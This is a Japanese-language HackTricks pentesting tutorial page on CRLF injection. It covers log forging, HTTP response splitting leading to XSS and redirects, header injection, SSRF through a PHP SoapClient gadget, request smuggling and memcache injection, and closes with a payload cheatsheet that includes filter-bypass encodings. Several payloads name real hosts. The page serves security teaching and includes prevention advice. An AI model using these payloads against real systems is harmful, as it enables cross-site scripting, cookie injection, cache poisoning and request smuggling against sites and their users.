Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 22:18:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

19 KiB
Raw Blame History

CRLF (%0D%0A) インジェクション

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック！

HackTricksをサポートする他の方法:

ハッキングのキャリアに興味があり、ハッキング不可能なものをハックしたい方 - 採用中です！ (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

CRLFとは何ですか？

ブラウザがウェブサーバーにリクエストを送ると、ウェブサーバーはHTTPレスポンスヘッダーと実際のウェブサイトコンテンツ、つまりレスポンスボディを含むレスポンスで返答します。HTTPヘッダーとHTMLレスポンス（ウェブサイトコンテンツ）は、特定の特殊文字の組み合わせ、すなわちキャリッジリターンとラインフィードによって分離されています。短くCRLFとも呼ばれます。

ウェブサーバーはCRLFを使用して、新しいHTTPヘッダーが始まり、別のものが終わるのを理解します。CRLFは、ファイルやテキストブロックで新しい行が始まることをウェブアプリケーションやユーザーに伝えることもできます。CRLF文字は標準的なHTTP/1.1メッセージなので、Apache、Microsoft IISを含むあらゆるタイプのウェブサーバーで使用されます。 出典 https://www.netsparker.com/blog/web-security/crlf-http-header/#

CRLFインジェクション脆弱性とは何ですか？

CRLFインジェクション脆弱性攻撃では、攻撃者はキャリッジリターンとラインフィードの両方の文字をユーザー入力に挿入して、サーバー、ウェブアプリケーション、またはユーザーに対象が終了し、別のものが始まったと思わせます。そのため、CRLFシーケンスは悪意のある文字ではありませんが、悪意のある意図で使用されることがあり、HTTPレスポンス分割などに利用されます。

ウェブアプリケーションにおけるCRLFインジェクション

ウェブアプリケーションでは、CRLFインジェクションは、アプリケーションが単一のアイテムをどのように扱うかによって、深刻な影響を及ぼす可能性があります。影響は情報漏洩からコード実行まで様々で、直接的なウェブアプリケーションセキュリティの脆弱性になります。実際、CRLFインジェクション攻撃は、OWASPトップ10リストには決して掲載されていないものの、ウェブアプリケーションに非常に深刻な影響を与える可能性があります。例えば、以下の例で説明されているように、管理パネルのログファイルを操作することも可能です。

ログファイルにおけるCRLFインジェクションの例

管理パネルのログファイルで、IP - Time - Visited Pathという出力ストリームパターンがあると想像してください。例えば以下のようなものです：

123.123.123.123 - 08:15 - /index.php?page=home

攻撃者がHTTPリクエストにCRLF文字を注入できる場合、出力ストリームを変更し、ログエントリを偽造することができます。彼は、以下のようなウェブアプリケーションからのレスポンスを変更することができます：

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

%0dと%0aはCRとLFのURLエンコードされた形式です。したがって、攻撃者がこれらの文字を挿入し、アプリケーションがそれを表示すると、ログエントリは次のようになります：

IP - 時間 - 訪問パス

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意のある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者のパスワードを持っており、管理者のみが使用できるrestrictedactionパラメータを実行したシナリオを想像してください。

問題は、管理者が未知のIPがrestrictedactionパラメータを使用したことに気づいた場合、何かがおかしいと気づくでしょう。しかし、今ではコマンドがローカルホストによって発行されたように見える（したがって、サーバーにアクセスできる人、例えば管理者によって発行された可能性が高い）ので、疑わしくは見えません。

クエリの%0d%0aで始まる部分全体は、サーバーによって1つのパラメータとして処理されます。その後には、別の&があり、restricted actionパラメータがサーバーによって別のパラメータとして解析されます。実質的には、次のようなクエリと同じになります：

/index.php?page=home&restrictedaction=edit

HTTPレスポンス分割

説明

HTTPレスポンスのヘッダーとボディはCRLF文字によって区切られているため、攻撃者はこれらを注入しようとすることがあります。CRLFCRLFの組み合わせは、ブラウザにヘッダーの終わりとボディの開始を伝えます。つまり、攻撃者はHTMLコードが格納されているレスポンスボディ内にデータを書き込むことができます。これにより、クロスサイトスクリプティングの脆弱性が発生する可能性があります。

HTTPレスポンス分割がXSSにつながる例

例えば、カスタムヘッダーを設定するアプリケーションを想像してください。

X-Your-Name: Bob

ヘッダーの値は "name" というGETパラメータを介して設定されます。URLエンコーディングが行われておらず、値がヘッダー内で直接反映される場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入して、ブラウザにリクエストボディの開始を伝える可能性があります。その方法で、例えばXSSペイロードのようなデータを挿入することができます：

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

上記は、攻撃されたドメインのコンテキストでアラートウィンドウを表示します。

HTTPレスポンス分割によるリダイレクトの例

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

ブラウザへ：

/%0d%0aLocation:%20http://myweb.com

サーバーはヘッダーで応答します：

Location: http://myweb.com

他の例：（ https://www.acunetix.com/websitesecurity/crlf-injection/ より）

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URLパス内

サーバーからのレスポンスを制御するために、URLパス内にペイロードを送信できます：

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTPヘッダーインジェクション

説明

CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダーを挿入することができ、ブラウザのXSSフィルターや同一生成元ポリシーなどのセキュリティメカニズムを回避することが可能になります。これにより、攻撃者はCSRFトークンのような機密情報を得ることができます。また、攻撃者のアカウントで被害者をログインさせたり、そうでなければ悪用できないXSS脆弱性を悪用するためにクッキーを設定することもできます。

機密データを抽出するためのHTTPヘッダーインジェクションの例

攻撃者がCORS（Cross Origin Resource Sharing）を有効にするHTTPヘッダーを注入できる場合、彼はJavaScriptを使用して、SOP（Same Origin Policy）によって保護されているリソースにアクセスすることができます。SOPは異なる生成元のサイトが互いにアクセスすることを防ぎます。

SSRFにおける新しいHTTPリクエスト

CRLFインジェクションを悪用すると、新しいHTTPリクエストを作成して注入することができます。
良い例は、PHP内のSoapClientデシリアライゼーションガジェットを使用することです。このクラスはuser_agentパラメータ内のCRLFに対して脆弱であり、新しいヘッダーやボディコンテンツを挿入することが可能です。しかし、この脆弱性を悪用して新しいHTTPリクエストを注入することもできます。

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

ヘッダーインジェクションによるリクエストスマグリング

初期リクエストに応答した後で、バックエンドが接続を開いたままにするために、重要なヘッダーを注入できます：

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

次に、2番目のリクエストを指定します。ここでは、サーバーによって注入後に追加された追加の ヘッダー/ボディを伴うクラシックな リクエストスマグリングがあります。 これは、クロスユーザー攻撃のための多くのオプションのうちの2つです。

次のユーザーのリクエストまたはWebキャッシュを汚染するために悪意のあるプレフィックスを指定します：

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

または、後続のジャンクと組み合わせて完全な2番目のリクエストを作成し、レスポンスキュー汚染をトリガーするために私たちのプレフィックスを作成します。

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

この技術と潜在的な問題についての詳細は元のソースをチェックしてください。

Memcacheインジェクション

Memcacheはクリアテキストプロトコルを使用するキーバリューストアです。詳細は以下を参照してください：

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

プラットフォームがHTTPリクエストからデータを取得し、それをサニタイズせずに memcacheサーバーへのリクエストに使用している場合、攻撃者はこの振る舞いを悪用して新しいmemcacheコマンドを注入することができます。

例えば、元々発見された脆弱性では、キャッシュキーがユーザーが接続すべきIPとポートを返すために使用されており、攻撃者はキャッシュを汚染して被害者の詳細（ユーザー名とパスワードを含む）を攻撃者のサーバーに送信するmemcacheコマンドを注入することができました：

さらに、研究者たちは、攻撃者が知らないメールアドレスのユーザーに攻撃者のIPとポートを送信するために、memcacheのレスポンスを非同期にすることも発見しました：

完全な情報についてはオリジナルのライトアップを読んでください****

CRLFインジェクション脆弱性の影響

CRLFインジェクションの影響は様々であり、情報開示までのクロスサイトスクリプティングのすべての影響を含んでいます。また、被害者のブラウザでXSSフィルターや同一生成元ポリシーなどの特定のセキュリティ制限を無効にし、悪意のある攻撃に対して脆弱にすることもあります。

WebアプリケーションでのCRLF / HTTPヘッダーインジェクションを防ぐ方法

最良の予防技術は、レスポンスヘッダー内で直接ユーザーの入力を使用しないことです。それが不可能な場合は、常にCRLF特殊文字をエンコードする関数を使用するべきです。もう一つの良いWebアプリケーションセキュリティのベストプラクティスは、HTTPヘッダーを設定する関数内でCRとLFが注入されないバージョンにプログラミング言語を更新することです。

CHEATSHEET

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

自動ツール

Brute-Force 検出リスト

参考文献

ハッキングキャリアに興味がある方、不可能とされるものをハックする - 採用情報！ (流暢なポーランド語の読み書きが必要です).

{% embed url="https://www.stmcyber.com/careers" %}

htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ!

HackTricksをサポートする他の方法: